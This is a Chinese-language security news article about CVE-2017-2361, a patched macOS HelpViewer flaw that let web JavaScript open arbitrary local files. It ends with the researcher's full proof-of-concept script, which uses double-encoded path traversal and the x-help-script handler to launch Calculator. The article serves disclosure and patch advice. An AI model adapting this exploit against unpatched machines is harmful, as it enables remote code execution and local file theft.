导语:最近,Google Project Zero公开披露了一个macOS系统的神漏洞,一行JS代码便可以让Mac电脑弹计算器。
最近,Google Project Zero公开披露了一个macOS系统的神漏洞,一行JS代码便可以让Mac电脑弹计算器。
这个神漏洞真的特别有趣,研究员发现macOS的内置应用HelpViewer有一个内部协议调用,可以打开本机上的任何文件,这个协议调用的路径检查有点缺陷,使用某些特定语法可以绕过,去打开攻击者指定的文件。
以上只能做到本地命令执行,研究员想了个法子,用JS代码去调用HelpViewer打开文件,间接做到远程执行。如果用户打开的某个网页中含有这段JS代码,那么这台Mac就被轻轻松松控制了。
(图:根据研究员放出的poc代码,嘶吼在内部的电脑上成功演示)
该漏洞由Project Zero研究员、韩国安全天才lokihardt于去年12月发现,漏洞编号为CVE-2017-2361。苹果公司在今年1月23日更新的macOS 10.12.3修复了漏洞,大家更新到最新版即可不受影响。
顺便说下,“弹计算器”是安全圈的一种文化,表示用作演示的漏洞可以做到命令执行,完全控制这台电脑。过去,这种演示经常在Windows电脑上演,Mac、Linux被认为比Windows要安全很多。但随着近几年Mac电脑用户不断增多,盯着它的人多了,这类安全漏洞还将不断曝光,Mac用户过往那种“虚假”的安全感是时候收一收了。
嘶吼在此建议,普通Mac电脑用户应及时更新电脑系统,避免遭受损失。
附lokihardt提供的poc代码,大家自己玩一下就行,不要做坏事哦:
<script> /* OSX: HelpViewer XSS leads to arbitrary file execution and arbitrary file read. HelpViewer is an application and using WebView to show a help file. You can see it simply by the command: open /Applications/Safari.app/Contents/Resources/Safari.help or using "help:" scheme: help:openbook=com.apple.safari.help help:///Applications/Safari.app/Contents/Resources/Safari.help/Contents/Resources/index.html HelpViewer's WebView has an inside protocol handler "x-help-script" that could be used to open an arbitrary local file. Therefore if we can run arbitrary Javascript code, we'll win easily and, of course, we can read an arbitrary local file with a XMLHttpRequest. HelpViewer checks whether the path of the url is in a valid help file or not. But we can bypass this with a double encoded "../". PoC: document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=javascript%253adocument.write(1)"; The attached poc will pop up a Calculator. Tested on macOS Sierra 10.12.1 (16B2659). */ function main() { function second() { var f = document.createElement("iframe"); f.onload = () => { f.contentDocument.location = "x-help-script://com.apple.machelp/scpt/OpnApp.scpt?:Applications:Calculator.app"; }; f.src = "help:openbook=com.apple.safari.help"; document.documentElement.appendChild(f); } var url = "javascript%253aeval(atob('" + btoa(second.toString()) + "'));nsecond();"; document.location = "help:///Applications/Safari.app/Contents/Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/Resources/en.lproj/offline.html?redirect=" + url; } main(); </script>